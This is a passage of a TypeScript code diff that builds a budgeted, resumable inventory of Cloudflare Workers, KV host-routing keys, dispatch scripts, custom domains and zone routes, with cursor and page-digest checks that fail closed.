+      jurisdiction: FleetInventoryR2Jurisdiction;
+      namePrefix: string;
+      startAfter?: string;
+      signal?: AbortSignal;
+    }>,
+  ): Promise<FleetInventoryBucketPage>;
+}
+
+/** Fixed refusal when a same-stage page re-read no longer matches its digest. */
+export class CloudflareFleetInventoryCursorDriftError extends Error {
+  constructor(readonly step: FleetInventoryStageStep) {
+    super(
+      `fleet inventory stage '${step}' page changed between bounded chunks`,
+    );
+    this.name = 'CloudflareFleetInventoryCursorDriftError';
+  }
+}
+
+/**
+ * Fixed refusal when one chunk of a stage cannot complete inside
+ * `maxProviderRequests`. Stages without a resumption ordinal or cursor must
+ * finish in one chunk, and a chunk that could make no progress fails closed
+ * rather than looping forever.
+ */
+export class CloudflareFleetInventoryBudgetError extends Error {
+  constructor(readonly step: FleetInventoryStageStep) {
+    super(
+      `fleet inventory stage '${step}' cannot complete one chunk within its provider request budget`,
+    );
+    this.name = 'CloudflareFleetInventoryBudgetError';
+  }
+}
+
+/** Fixed refusal when a provider listing repeats its resumption cursor. */
+export class CloudflareFleetInventoryCursorError extends Error {
+  constructor(readonly step: FleetInventoryStageStep) {
+    super(`fleet inventory stage '${step}' repeated a provider cursor`);
+    this.name = 'CloudflareFleetInventoryCursorError';
+  }
+}
+
+interface HostRoutingRegistration {
+  readonly scriptName: string;
+  readonly tenantTag: string;
+  readonly environment: string;
+  readonly databaseId: string;
+  readonly routeHostname: string;
+  readonly keyOwned: boolean;
+}
+
+interface HostRegistryRoute {
+  readonly hostname: string;
+  readonly scriptName: string;
+  readonly tenantTag: string;
+  readonly environment: string;
+}
+
+interface DispatchScript {
+  readonly id: string;
+  readonly tags: readonly string[];
+}
+
+interface MatchedZoneRoute extends WorkerZoneRoute {
+  readonly scriptName: string;
+}
+
+interface PlainIdentity {
+  readonly tenantTag: string;
+  readonly environment: string;
+}
+
+function sha256Hex(value: string): string {
+  return createHash('sha256').update(value).digest('hex');
+}
+
+function tagValue(tags: readonly string[], prefix: string): string | undefined {
+  return tags.find((tag) => tag.startsWith(prefix))?.slice(prefix.length);
+}
+
+function asciiHost(value: string): string {
+  if (!NON_ASCII.test(value)) return value;
+  const url = new URL('ws://x');
+  url.hostname = value;
+  if (url.hostname !== 'x') return url.hostname;
+  // A rejected assignment retains the old host; a second host distinguishes it from a valid x.
+  url.hostname = 'y';
+  url.hostname = value;
+  return url.hostname === 'x' ? 'x' : value;
+}
+
+function detailValue(value: string, field: string): string {
+  assertInventoryFindingValue(value, field);
+  return value;
+}
+
+function detailHost(value: string, field: string): string {
+  assertInventoryFindingValue(asciiHost(value), field);
+  return value;
+}
+
+class RequestBudget {
+  #used = 0;
+
+  constructor(
+    private readonly maximum: number,
+    private readonly step: FleetInventoryStageStep,
+  ) {}
+
+  get used(): number {
+    return this.#used;
+  }
+
+  get available(): boolean {
+    return this.#used < this.maximum;
+  }
+
+  /** Charges one provider request, failing closed at the caller's budget. */
+  spend(): void {
+    if (!this.available) {
+      throw new CloudflareFleetInventoryBudgetError(this.step);
+    }
+    this.#used += 1;
+  }
+}
+
+/**
+ * Page identity for a resumed chunk: the digest of the first page this chunk
+ * consumed must match the digest the previous chunk of the SAME stage position
+ * persisted, otherwise the offset must not advance.
+ */
+class PageIdentity {
+  #digest: string | undefined;
+
+  constructor(
+    private readonly expected: string | undefined,
+    private readonly step: FleetInventoryStageStep,
+  ) {}
+
+  get digest(): string | undefined {
+    return this.#digest;
+  }
+
+  observe(parts: readonly unknown[]): void {
+    if (this.#digest !== undefined) return;
+    const digest = sha256Hex(JSON.stringify(parts));
+    this.#digest = digest;
+    if (this.expected !== undefined && this.expected !== digest) {
+      throw new CloudflareFleetInventoryCursorDriftError(this.step);
+    }
+  }
+}
+
+class StagedRowSink {
+  readonly rows: FleetInventoryStagedRow[] = [];
+  readonly facts: FleetInventoryStagedFact[] = [];
+  readonly #counts: Record<FleetInventoryRowKind, number>;
+  readonly #factOrdinals = new Map<string, number>();
+
+  constructor(counts: Readonly<Record<FleetInventoryRowKind, number>>) {
+    this.#counts = { ...counts };
+  }
+
+  count(kind: FleetInventoryRowKind): number {
+    return this.#counts[kind];
+  }
+
+  get counts(): Readonly<Record<FleetInventoryRowKind, number>> {
+    return { ...this.#counts };
+  }
+
+  add(
+    kind: FleetInventoryRowKind,
+    payload: Readonly<Record<string, unknown>>,
+  ): number {
+    const ordinal = this.#counts[kind];
+    this.#counts[kind] = ordinal + 1;
+    this.rows.push({ kind, ordinal, payload });
+    return ordinal;
+  }
+
+  fact(
+    deploymentOrdinal: number,
+    factKind: FleetInventoryDeploymentFactKind,
+    payload: Readonly<Record<string, unknown>>,
+  ): void {
+    const key = `${deploymentOrdinal}:${factKind}`;
+    const factOrdinal = this.#factOrdinals.get(key) ?? 0;
+    this.#factOrdinals.set(key, factOrdinal + 1);
+    this.facts.push({ deploymentOrdinal, factKind, factOrdinal, payload });
+  }
+
+  finding(
+    kind: FleetInventoryFindingKind,
+    tenantTag: string,
+    environment: string,
+    detail: string,
+  ): void {
+    this.add('finding', {
+      record: 'finding',
+      tenantTag,
+      environment,
+      kind,
+      detail,
+    });
+  }
+}
+
+interface StageContext {
+  readonly deps: CloudflareFleetInventoryDeps;
+  readonly options: FleetInventoryRunOptions;
+  readonly budget: RequestBudget;
+  readonly identity: PageIdentity;
+  readonly sink: StagedRowSink;
+  readonly diagnostics: string[];
+  readonly signal?: AbortSignal;
+}
+
+function checkSignal(signal: AbortSignal | undefined): void {
+  signal?.throwIfAborted();
+}
+
+/** Sanitized, call-local provider diagnostic; never durable. */
+function diagnostic(
+  context: StageContext,
+  label: string,
+  error: unknown,
+): void {
+  context.diagnostics.push(`${label}: ${String(error)}`);
+}
+
+async function hostRoutingKeyNames(
+  context: StageContext,
+): Promise<readonly (string | undefined)[]> {
+  const namespaceId = context.options.hostRoutingKvId;
+  if (namespaceId === undefined) return [];
+  const names: (string | undefined)[] = [];
+  let cursor: string | undefined;
+  const seen = new Set<string>();
+  for (;;) {
+    checkSignal(context.signal);
+    context.budget.spend();
+    const page = await context.deps.listHostRoutingKeys({
+      namespaceId,
+      ...(cursor === undefined ? {} : { cursor }),
+      ...(context.signal ? { signal: context.signal } : {}),
+    });
+    for (const key of page.keys) {
+      names.push(
+        key.name === undefined || key.name === '' ? undefined : key.name,
+      );
+      if (names.length > CLOUDFLARE_INVENTORY_BOUND) {
+        throw inventoryBoundExceeded(
+          'host-routing KV key inventory',
+          CLOUDFLARE_INVENTORY_BOUND,
+        );
+      }
+    }
+    if (!page.cursor) return names;
+    if (seen.has(page.cursor)) {
+      throw new CloudflareFleetInventoryCursorError('host-kv-keys');
+    }
+    seen.add(page.cursor);
+    cursor = page.cursor;
+  }
+}
+
+interface ParsedHostRoutingKey {
+  readonly registration?: HostRoutingRegistration;
+  readonly route?: HostRegistryRoute & {
+    readonly policy: ReturnType<typeof canonicalDeploymentEgressPolicy>;
+    readonly stateEgress?: HostRoutingTarget['stateEgress'];
+  };
+  readonly finding?: Readonly<{
+    kind: FleetInventoryFindingKind;
+    tenantTag: string;
+    environment: string;
+    detail: string;
+  }>;
+}
+
+/**
+ * Reproduces the drain's per-key classification for one host-routing KV key,
+ * including its finding vocabulary and the order of its refusals. The raw key
+ * name is untrusted input, so it faces the credential control first and then
+ * the shape predicate, whose failure takes the ordinal fallback rather than
+ * aborting the account inventory.
+ */
+async function classifyHostRoutingKey(
+  context: StageContext,
+  keyOrdinal: number,
+  keyName: string,
+): Promise<ParsedHostRoutingKey> {
+  const namespaceId = context.options.hostRoutingKvId;
+  if (namespaceId === undefined) return {};
+  const isRegistration = keyName.startsWith(SCRIPT_INVENTORY_PREFIX);
+  const registeredName = isRegistration
+    ? keyName.slice(SCRIPT_INVENTORY_PREFIX.length)
+    : undefined;
+  assertNoCredentialInInventoryText(keyName, 'hostRoutingKey');
+  const safeKeyName = isInventoryKeyNameShape(keyName);
+  const unsafeName = (): ParsedHostRoutingKey => ({
+    finding: {
+      kind: 'malformed-script-registration',
+      tenantTag: 'unknown',
+      environment: 'unknown',
+      detail: `script inventory key at ordinal ${keyOrdinal} has an unsafe name`,
+    },
+  });
+  checkSignal(context.signal);
+  context.budget.spend();
+  const serialized = await context.deps.readHostRoutingValue({
+    namespaceId,
+    keyName,
+    ...(context.signal ? { signal: context.signal } : {}),
+  });
+  if (!safeKeyName) return unsafeName();
+  const key = detailHost(keyName, 'hostRoutingKey');
+  if (serialized === undefined) {
+    return {
+      finding: {
+        kind: isRegistration ? 'stale-script-registration' : 'stale-route',
+        tenantTag: 'unknown',
+        environment: 'unknown',
+        detail: `fleet inventory key '${key}' disappeared while it was being read`,
+      },
+    };
+  }
+  let value: unknown;
+  try {
+    value = JSON.parse(serialized);
+  } catch {
+    return {
+      finding: {
+        kind: isRegistration
+          ? 'malformed-script-registration'
+          : 'malformed-route',
+        tenantTag: 'unknown',
+        environment: 'unknown',
+        detail: `fleet inventory key '${key}' is not valid JSON`,
+      },
+    };
+  }
+  if (!value || typeof value !== 'object') {
+    return {
+      finding: {
+        kind: isRegistration
+          ? 'malformed-script-registration'
+          : 'malformed-route',
+        tenantTag: 'unknown',
+        environment: 'unknown',
+        detail: `fleet inventory key '${key}' is not an object`,
+      },
+    };
+  }
+  const candidate = value as Record<string, unknown>;
+  const claimedTenant =
+    typeof candidate.tenantTag === 'string' ? candidate.tenantTag : 'unknown';
+  const claimedEnvironment =
+    typeof candidate.environment === 'string'
+      ? candidate.environment
+      : 'unknown';
+  if (isRegistration) {
+    if (
+      typeof candidate.scriptName !== 'string' ||
+      typeof candidate.tenantTag !== 'string' ||
+      typeof candidate.environment !== 'string' ||
+      typeof candidate.databaseId !== 'string' ||
+      typeof candidate.routeHostname !== 'string'
+    ) {
+      return {
+        finding: {
+          kind: 'malformed-script-registration',
+          tenantTag: claimedTenant,
+          environment: claimedEnvironment,
+          detail: `script inventory key '${key}' has incomplete ownership metadata`,
+        },
+      };
+    }
+    if (
+      !candidate.scriptName.startsWith(context.options.scriptNamePrefix) &&
+      !registeredName?.startsWith(context.options.scriptNamePrefix)
+    ) {
+      return {};
+    }
+    const keyOwned = registeredName === candidate.scriptName;
+    const registration: HostRoutingRegistration = {
+      scriptName: candidate.scriptName,
+      tenantTag: candidate.tenantTag,
+      environment: candidate.environment,
+      databaseId: candidate.databaseId,
+      routeHostname: candidate.routeHostname,
+      keyOwned,
+    };
+    if (keyOwned) return { registration };
+    return {
+      registration,
+      finding: {
+        kind: 'stale-script-registration',
+        tenantTag: candidate.tenantTag,
+        environment: candidate.environment,
+        detail: `script inventory key '${key}' claims '${detailValue(
+          candidate.scriptName,
+          'scriptName',
+        )}'`,
+      },
+    };
+  }
+  if (
+    typeof candidate.scriptName !== 'string' ||
+    typeof candidate.tenantTag !== 'string' ||
+    typeof candidate.environment !== 'string' ||
+    typeof candidate.policyId !== 'string' ||
+    typeof candidate.policyDigest !== 'string' ||
+    !Array.isArray(candidate.policyHosts) ||
+    candidate.policyHosts.some((host) => typeof host !== 'string')
+  ) {
+    return {
+      finding: {
+        kind: 'malformed-route',
+        tenantTag: claimedTenant,
+        environment: claimedEnvironment,
+        detail: `host route '${key}' has incomplete ownership metadata`,
+      },
+    };
+  }
+  let policy: ReturnType<typeof canonicalDeploymentEgressPolicy>;
+  try {
+    policy = canonicalDeploymentEgressPolicy({
+      policyId: candidate.policyId,
+      tenantTag: candidate.tenantTag,
+      environment: candidate.environment,
+      allowedHosts: candidate.policyHosts as string[],
+    });
+  } catch {
+    return {
+      finding: {
+        kind: 'malformed-route',
+        tenantTag: candidate.tenantTag,
+        environment: candidate.environment,
+        detail: `host route '${key}' has invalid policy metadata`,
+      },
+    };
+  }
+  if (
+    candidate.policyDigest !== policy.policyDigest ||
+    JSON.stringify(candidate.policyHosts) !== JSON.stringify(policy.policyHosts)
+  ) {
+    return {
+      finding: {
+        kind: 'malformed-route',
+        tenantTag: candidate.tenantTag,
+        environment: candidate.environment,
+        detail: `host route '${key}' has inconsistent policy metadata`,
+      },
+    };
+  }
+  let stateEgress: HostRoutingTarget['stateEgress'];
+  try {
+    stateEgress = (await parseHostRoutingTarget(serialized)).stateEgress;
+  } catch {
+    return {
+      finding: {
+        kind: 'malformed-route',
+        tenantTag: candidate.tenantTag,
+        environment: candidate.environment,
+        detail: `host route '${key}' has invalid state-egress metadata`,
+      },
+    };
+  }
+  if (!candidate.scriptName.startsWith(context.options.scriptNamePrefix)) {
+    return {};
+  }
+  return {
+    route: {
+      hostname: keyName,
+      scriptName: candidate.scriptName,
+      tenantTag: candidate.tenantTag,
+      environment: candidate.environment,
+      policy,
+      ...(stateEgress ? { stateEgress } : {}),
+    },
+  };
+}
+
+interface HostRoutingSnapshot {
+  readonly registrations: readonly HostRoutingRegistration[];
+  readonly routes: readonly HostRegistryRoute[];
+}
+
+/**
+ * Re-reads the host-routing registry a later stage depends on. Findings are
+ * intentionally discarded: `host-kv-values` already staged them, and a second
+ * copy would change the durable finding order.
+ */
+async function hostRoutingSnapshot(
+  context: StageContext,
+): Promise<HostRoutingSnapshot> {
+  const registrations: HostRoutingRegistration[] = [];
+  const routes: HostRegistryRoute[] = [];
+  const names = await hostRoutingKeyNames(context);
+  for (const [keyOrdinal, keyName] of names.entries()) {
+    if (keyName === undefined) continue;
+    const parsed = await classifyHostRoutingKey(context, keyOrdinal, keyName);
+    if (parsed.registration) registrations.push(parsed.registration);
+    if (parsed.route) {
+      routes.push({
+        hostname: parsed.route.hostname,
+        scriptName: parsed.route.scriptName,
+        tenantTag: parsed.route.tenantTag,
+        environment: parsed.route.environment,
+      });
+    }
+  }
+  return { registrations, routes };
+}
+
+async function dispatchScripts(
+  context: StageContext,
+): Promise<readonly DispatchScript[]> {
+  if (!context.options.includeDispatchNamespace) return [];
+  const namespace = context.deps.dispatchNamespace();
+  const scripts: DispatchScript[] = [];
+  let cursor: string | undefined;
+  let pageNumber = 0;
+  const seen = new Set<string>();
+  for (;;) {
+    checkSignal(context.signal);
+    context.budget.spend();
+    const page = await listDispatchScriptPage(context.deps.attachmentScan, {
+      namespace,
+      ...(cursor === undefined ? {} : { cursor }),
+      perPage: DISPATCH_PAGE_SIZE,
+      ...(context.signal ? { signal: context.signal } : {}),
+    });
+    scripts.push(...page.scripts);
+    if (scripts.length > CLOUDFLARE_INVENTORY_BOUND) {
+      throw inventoryBoundExceeded(
+        'dispatch script inventory',
+        CLOUDFLARE_INVENTORY_BOUND,
+      );
+    }
+    if (!page.nextCursor) return scripts;
+    pageNumber += 1;
+    if (pageNumber >= DISPATCH_PAGE_BOUND) {
+      throw new Error('Cloudflare dispatch script listing exceeded 100 pages');
+    }
+    if (seen.has(page.nextCursor)) {
+      throw new Error('Cloudflare dispatch script listing repeated a cursor');
+    }
+    seen.add(page.nextCursor);
+    cursor = page.nextCursor;
+  }
+}
+
+async function customDomains(
+  context: StageContext,
+): Promise<readonly Readonly<{ hostname: string; service: string }>[]> {
+  const matched: Readonly<{ hostname: string; service: string }>[] = [];
+  let cursor: string | undefined;
+  let encountered = 0;
+  const seen = new Set<string>();
+  for (;;) {
+    checkSignal(context.signal);
+    context.budget.spend();
+    const page = await context.deps.listCustomDomains({
+      ...(cursor === undefined ? {} : { cursor }),
+      ...(context.signal ? { signal: context.signal } : {}),
+    });
+    for (const domain of page.domains) {
+      encountered += 1;
+      if (encountered > CLOUDFLARE_INVENTORY_BOUND) {
+        throw inventoryBoundExceeded(
+          'custom domain inventory',
+          CLOUDFLARE_INVENTORY_BOUND,
+        );
+      }
+      if (typeof domain.service !== 'string' || !domain.service)
+        throw new Error('custom domain inventory has an invalid service');
+      if (domain.service.startsWith(context.options.scriptNamePrefix)) {
+        if (typeof domain.hostname !== 'string' || !domain.hostname)
+          throw new Error('custom domain inventory has an invalid hostname');
+        matched.push({ hostname: domain.hostname, service: domain.service });
+      }
+    }
+    if (!page.cursor) return matched;
+    if (seen.has(page.cursor)) {
+      throw new CloudflareFleetInventoryCursorError('custom-domains');
+    }
+    seen.add(page.cursor);
+    cursor = page.cursor;
+  }
+}
+
+async function zoneRoutesForZone(
+  context: StageContext,
+  zoneId: string,
+): Promise<readonly MatchedZoneRoute[]> {
+  const matched: MatchedZoneRoute[] = [];
+  let cursor: string | undefined;
+  let encountered = 0;
+  const seen = new Set<string>();
+  for (;;) {
+    checkSignal(context.signal);
+    context.budget.spend();
+    const page = await context.deps.listZoneRoutes({
+      zoneId,
+      ...(cursor === undefined ? {} : { cursor }),
+      ...(context.signal ? { signal: context.signal } : {}),
+    });
+    for (const route of page.routes) {
+      encountered += 1;
+      if (encountered > CLOUDFLARE_INVENTORY_BOUND) {
+        throw inventoryBoundExceeded(
+          'Worker zone-route inventory',
+          CLOUDFLARE_INVENTORY_BOUND,
+        );
+      }
+      if (
+        route.script !== undefined &&
+        route.script !== null &&
+        typeof route.script !== 'string'
+      )
+        throw new Error('Worker zone-route inventory has an invalid script');
+      if (route.script?.startsWith(context.options.scriptNamePrefix)) {
+        if (
+          typeof route.id !== 'string' ||
+          !route.id ||
+          typeof route.pattern !== 'string' ||
+          !route.pattern
+        )
+          throw new Error(
+            'Worker zone-route inventory has an invalid ID or pattern',
+          );
+        matched.push({
+          zoneId,
+          routeId: route.id,
+          pattern: route.pattern,
+          scriptName: route.script,
+        });
+      }
+    }
+    if (!page.cursor) return matched;
+    if (seen.has(page.cursor)) {
+      throw new CloudflareFleetInventoryCursorError('zone-routes');
+    }
+    seen.add(page.cursor);
+    cursor = page.cursor;
+  }
+}
+
+async function allZoneRoutes(
+  context: StageContext,
+): Promise<readonly MatchedZoneRoute[]> {
+  checkSignal(context.signal);
+  context.budget.spend();
+  const zoneIds = await context.deps.listWorkerRouteZoneIds(
+    context.signal ? { signal: context.signal } : {},
+  );
+  const routes: MatchedZoneRoute[] = [];
+  for (const zoneId of zoneIds) {
+    routes.push(...(await zoneRoutesForZone(context, zoneId)));
+  }
+  return routes;
+}
+
+async function ordinaryScriptNames(
+  context: StageContext,
+): Promise<readonly string[]> {
+  const matched: string[] = [];
+  let cursor: string | undefined;
+  const seen = new Set<string>();
+  for (;;) {
+    checkSignal(context.signal);
+    context.budget.spend();
+    const page = await context.deps.listOrdinaryScripts({
+      ...(cursor === undefined ? {} : { cursor }),
+      ...(context.signal ? { signal: context.signal } : {}),
+    });
+    for (const script of page.scripts) {
+      if (typeof script.id !== 'string' || !script.id)
+        throw new Error('ordinary Worker script inventory has an invalid ID');
+      if (!script.id.startsWith(context.options.scriptNamePrefix)) continue;
+      matched.push(script.id);
+      if (matched.length > CLOUDFLARE_INVENTORY_BOUND) {
+        throw inventoryBoundExceeded(
+          'ordinary Worker script inventory',
+          CLOUDFLARE_INVENTORY_BOUND,
+        );
+      }
+    }
+    if (!page.cursor) return matched;
+    if (seen.has(page.cursor)) {
+      throw new CloudflareFleetInventoryCursorError('ordinary-scripts');
+    }
+    seen.add(page.cursor);
+    cursor = page.cursor;
+  }
+}
+
+interface OrdinaryDeployment {
+  readonly scriptName: string;
+  readonly tenantTag: string;
+  readonly environment: string;
+  readonly resourceRole?: 'platform-state' | 'deployment-egress';
+  readonly resourceGroupId?: string;
+  readonly artifactVersion: string;
+  readonly desiredSpecDigest?: string;
+  readonly schemaVersion: number;
+  readonly databaseIds: readonly string[];
+  readonly durableObjectBindings: readonly Readonly<Record<string, unknown>>[];
+  readonly serviceBindings: readonly Readonly<Record<string, unknown>>[];
+  readonly queueProducerBindings: readonly Readonly<Record<string, unknown>>[];
+  readonly kvNamespaceBindings: readonly Readonly<Record<string, unknown>>[];
+  readonly r2BucketBindings: readonly Readonly<Record<string, unknown>>[];
+  readonly secretNames: readonly string[];
+  readonly plainTextBindings: Readonly<Record<string, string>>;
+  readonly publiclyReachable: boolean;
+}
+
+/**
+ * Rebuilds one ordinary Worker's deployment from its active artifact, applying
+ * the drain's identity requirement. Every refusal inside this function is the
+ * refusal the drain reports as `plain Worker '<name>' could not be
+ * inventoried`.
+ */
+function ordinaryDeployment(
+  scriptName: string,
+  detail: FleetInventoryOrdinaryScriptDetail,
+  scriptZoneRoutes: readonly MatchedZoneRoute[],
+): OrdinaryDeployment {
+  const bindings = detail.bindings;
+  const databaseIds = bindings.flatMap((binding) =>
+    binding.type === 'd1' && binding.database_id ? [binding.database_id] : [],
+  );
+  const durableObjectBindings = bindings.flatMap((binding) => {
+    if (
+      binding.type !== 'durable_object_namespace' ||
+      !binding.namespace_id ||
+      !binding.name ||
+      !binding.class_name
+    ) {
+      return [];
+    }
+    return [
+      {
+        name: binding.name,
+        className: binding.class_name,
+        namespaceId: binding.namespace_id,
+        ...(binding.script_name ? { scriptName: binding.script_name } : {}),
+        ...(binding.dispatch_namespace
+          ? { dispatchNamespace: binding.dispatch_namespace }
+          : {}),
+      },
+    ];
+  });
+  const serviceBindings = bindings.flatMap((binding) =>
+    binding.type === 'service' && binding.name && binding.service
+      ? [
+          {
+            name: binding.name,
+            service: binding.service,
+            ...(binding.entrypoint ? { entrypoint: binding.entrypoint } : {}),
+          },
+        ]
+      : [],
+  );
+  const queueProducerBindings = bindings.flatMap((binding) =>
+    binding.type === 'queue' && binding.name && binding.queue_name
+      ? [{ name: binding.name, queueName: binding.queue_name }]
+      : [],
+  );
+  const kvNamespaceBindings = bindings.flatMap((binding) =>
+    binding.type === 'kv_namespace' && binding.name && binding.namespace_id
+      ? [{ name: binding.name, namespaceId: binding.namespace_id }]
+      : [],
+  );
+  const r2BucketBindings = bindings.flatMap((binding) =>
+    binding.type === 'r2_bucket' && binding.name && binding.bucket_name
+      ? [
+          {
+            name: binding.name,
+            bucketName: binding.bucket_name,
+            jurisdiction: 'default' as const,
+          },
+        ]
+      : [],
+  );
+  const plainText = new Map(
+    bindings.flatMap((binding) =>
+      binding.type === 'plain_text'
+        ? [[binding.name ?? '', binding.text ?? ''] as const]
+        : [],
+    ),
+  );
+  const tenantTag = plainText.get('DEPLOYMENT_TENANT');
+  const environment = plainText.get('FLEET_ENVIRONMENT');
+  const resourceRole = plainText.get('FLEET_RESOURCE_ROLE');
+  const resourceGroupId = plainText.get('FLEET_RESOURCE_GROUP');
+  const schemaVersion = Number(plainText.get('FLEET_SCHEMA_VERSION'));
+  if (!tenantTag || !environment || !Number.isSafeInteger(schemaVersion)) {
+    throw new Error('active Worker identity settings are missing');
+  }
+  const trusted =
+    resourceRole === 'platform-state' || resourceRole === 'deployment-egress';
+  const specDigest = plainText.get('FLEET_SPEC_DIGEST');
+  return {
+    scriptName,
+    tenantTag,
+    environment,
+    ...(trusted ? { resourceRole, resourceGroupId } : {}),
+    artifactVersion: detail.artifactVersion,
+    ...(specDigest ? { desiredSpecDigest: specDigest } : {}),
+    schemaVersion,
+    databaseIds,
+    durableObjectBindings,
+    serviceBindings,
+    queueProducerBindings,
+    kvNamespaceBindings,
+    r2BucketBindings,
+    secretNames: detail.secretNames,
+    plainTextBindings: Object.fromEntries(plainText),
+    publiclyReachable:
+      trusted &&
+      (detail.subdomainEnabled ||
+        detail.previewsEnabled ||
+        scriptZoneRoutes.length > 0),
+  };
+}
+
+async function plainIdentities(
+  context: StageContext,
+  names: readonly string[],
+): Promise<ReadonlyMap<string, PlainIdentity>> {
+  const identities = new Map<string, PlainIdentity>();
+  for (const scriptName of names) {
+    checkSignal(context.signal);
+    context.budget.spend();
+    try {
+      const detail = await context.deps.readOrdinaryScriptDetail({
+        scriptName,
+        ...(context.signal ? { signal: context.signal } : {}),
+      });
+      const deployment = ordinaryDeployment(scriptName, detail, []);
+      identities.set(scriptName, {
+        tenantTag: deployment.tenantTag,
+        environment: deployment.environment,
+      });
+    } catch (error) {
+      // The drain records no identity for a script it could not inventory; the
+      // finding for that script belongs to `ordinary-script-detail`.
+      diagnostic(context, `plain Worker '${scriptName}'`, error);
+    }
+  }
+  return identities;
+}
+
+function stageDeploymentFacts(
+  sink: StagedRowSink,
+  deploymentOrdinal: number,
+  facts: Readonly<{
+    databaseIds: readonly string[];
+    durableObjectBindings: readonly Readonly<Record<string, unknown>>[];
+    serviceBindings: readonly Readonly<Record<string, unknown>>[];
+    queueProducerBindings: readonly Readonly<Record<string, unknown>>[];
+    kvNamespaceBindings?: readonly Readonly<Record<string, unknown>>[];
+    r2BucketBindings: readonly Readonly<Record<string, unknown>>[];
+    secretNames: readonly string[];
+    plainTextBindings: Readonly<Record<string, string>>;
+    routeHostnames: readonly string[];
+    zoneRoutes: readonly WorkerZoneRoute[];
+  }>,
+): void {
+  for (const databaseId of facts.databaseIds) {
+    sink.fact(deploymentOrdinal, 'database-id', { databaseId });
+  }
+  for (const binding of facts.durableObjectBindings) {
+    sink.fact(deploymentOrdinal, 'durable-object-binding', binding);
+  }
+  for (const binding of facts.serviceBindings) {
+    sink.fact(deploymentOrdinal, 'service-binding', binding);
+  }
+  for (const binding of facts.queueProducerBindings) {
+    sink.fact(deploymentOrdinal, 'queue-producer-binding', binding);
+  }
+  for (const binding of facts.kvNamespaceBindings ?? []) {
+    sink.fact(deploymentOrdinal, 'kv-binding', binding);
+  }
+  for (const binding of facts.r2BucketBindings) {
+    sink.fact(deploymentOrdinal, 'r2-binding', binding);
+  }
+  for (const secretName of facts.secretNames) {
+    sink.fact(deploymentOrdinal, 'secret-name', { secretName });
+  }
+  for (const [name, text] of Object.entries(facts.plainTextBindings)) {
+    sink.fact(deploymentOrdinal, 'plain-text-binding', { name, text });
+  }
+  for (const hostname of facts.routeHostnames) {
+    sink.fact(deploymentOrdinal, 'route-hostname', { hostname });
+  }
+  for (const route of facts.zoneRoutes) {
+    sink.fact(deploymentOrdinal, 'zone-route', { ...route });
+  }
+}
+
+async function advanceHostKvKeys(
+  context: StageContext,
+  stage: Readonly<{ step: 'host-kv-keys'; cursor?: string }>,
+): Promise<FleetInventoryStage> {
+  const namespaceId = context.options.hostRoutingKvId;
+  if (namespaceId === undefined) {
+    return nextStage(stage, context.options, context.sink.counts);
+  }
+  let cursor = stage.cursor;
+  const seen = new Set<string>();
+  for (;;) {
+    checkSignal(context.signal);
+    context.budget.spend();
+    const page = await context.deps.listHostRoutingKeys({
+      namespaceId,
+      ...(cursor === undefined ? {} : { cursor }),
+      ...(context.signal ? { signal: context.signal } : {}),
+    });
+    context.identity.observe([
+      'host-kv-keys',
+      cursor ?? null,
+      page.keys.map((key) => key.name ?? null),
+      page.cursor ?? null,
+    ]);
+    for (const key of page.keys) {
+      if (context.sink.count('registration') >= CLOUDFLARE_INVENTORY_BOUND) {
+        throw inventoryBoundExceeded(
+          'host-routing KV key inventory',
+          CLOUDFLARE_INVENTORY_BOUND,
+        );
+      }
+      // The key list is the durable work list for `host-kv-values`. The raw
+      // name is deliberately absent: it is untrusted input that the value
+      // stage re-reads from the provider, so no hostile byte is persisted.
+      context.sink.add('registration', {
+        record: 'kv-key',
+        named: key.name !== undefined && key.name !== '',
+      });
+    }
+    if (!page.cursor) {
+      return nextStage(stage, context.options, context.sink.counts);
+    }
+    if (seen.has(page.cursor) || page.cursor === cursor) {
+      throw new CloudflareFleetInventoryCursorError('host-kv-keys');
+    }
+    seen.add(page.cursor);
+    cursor = page.cursor;
+    if (!context.budget.available) return { step: 'host-kv-keys', cursor };
+  }
+}
+
+async function advanceHostKvValues(
+  context: StageContext,
+  stage: Readonly<{ step: 'host-kv-values'; keyOrdinal: number }>,
+): Promise<FleetInventoryStage> {
+  const names = await hostRoutingKeyNames(context);
+  context.identity.observe([
+    'host-kv-values',
+    stage.keyOrdinal,
+    names.map((name) => name ?? null),
+  ]);
+  let keyOrdinal = stage.keyOrdinal;
+  while (keyOrdinal < names.length) {
+    if (!context.budget.available) {
+      if (keyOrdinal === stage.keyOrdinal) {
+        throw new CloudflareFleetInventoryBudgetError('host-kv-values');
+      }
+      return { step: 'host-kv-values', keyOrdinal };
+    }
+    const keyName = names[keyOrdinal];
+    if (keyName !== undefined) {
+      const parsed = await classifyHostRoutingKey(context, keyOrdinal, keyName);
+      if (parsed.registration) {
+        context.sink.add('registration', {
+          record: 'registration',
+          ...parsed.registration,
+        });
+      }
+      if (parsed.finding) {
+        context.sink.finding(
+          parsed.finding.kind,
+          parsed.finding.tenantTag,
+          parsed.finding.environment,
+          parsed.finding.detail,
+        );
+      }
+      if (parsed.route) {
+        context.sink.add('route', {
+          record: 'route',
+          backend: 'workers-for-platforms',
+          surface: 'host-registry',
+          hostname: parsed.route.hostname,
+          scriptName: parsed.route.scriptName,
+          tenantTag: parsed.route.tenantTag,
+          environment: parsed.route.environment,
+          ...parsed.route.policy,
+          ...(parsed.route.stateEgress
+            ? { stateEgress: parsed.route.stateEgress }
+            : {}),
+        });
+      }
+    }
+    keyOrdinal += 1;
+  }
+  return nextStage(stage, context.options, context.sink.counts);
+}
+
+async function advanceDispatchPages(
+  context: StageContext,
+  stage: Readonly<{
+    step: 'dispatch-pages';
+    cursor?: string;
+    pageOrdinal: number;
+  }>,
+): Promise<FleetInventoryStage> {
+  if (!context.options.includeDispatchNamespace) {
+    return nextStage(stage, context.options, context.sink.counts);
+  }
+  const namespace = context.deps.dispatchNamespace();
+  let cursor = stage.cursor;
+  let pageOrdinal = stage.pageOrdinal;
+  const seen = new Set<string>();
+  for (;;) {
+    checkSignal(context.signal);
+    context.budget.spend();
+    const page = await listDispatchScriptPage(context.deps.attachmentScan, {
+      namespace,
+      ...(cursor === undefined ? {} : { cursor }),
+      perPage: DISPATCH_PAGE_SIZE,
+      ...(context.signal ? { signal: context.signal } : {}),
+    });
+    context.identity.observe([
+      'dispatch-pages',
+      cursor ?? null,
+      page.scripts.map((script) => [script.id, script.tags]),
+      page.nextCursor ?? null,
+    ]);
+    for (const script of page.scripts) {
+      if (context.sink.count('dispatch-script') >= CLOUDFLARE_INVENTORY_BOUND) {
+        throw inventoryBoundExceeded(
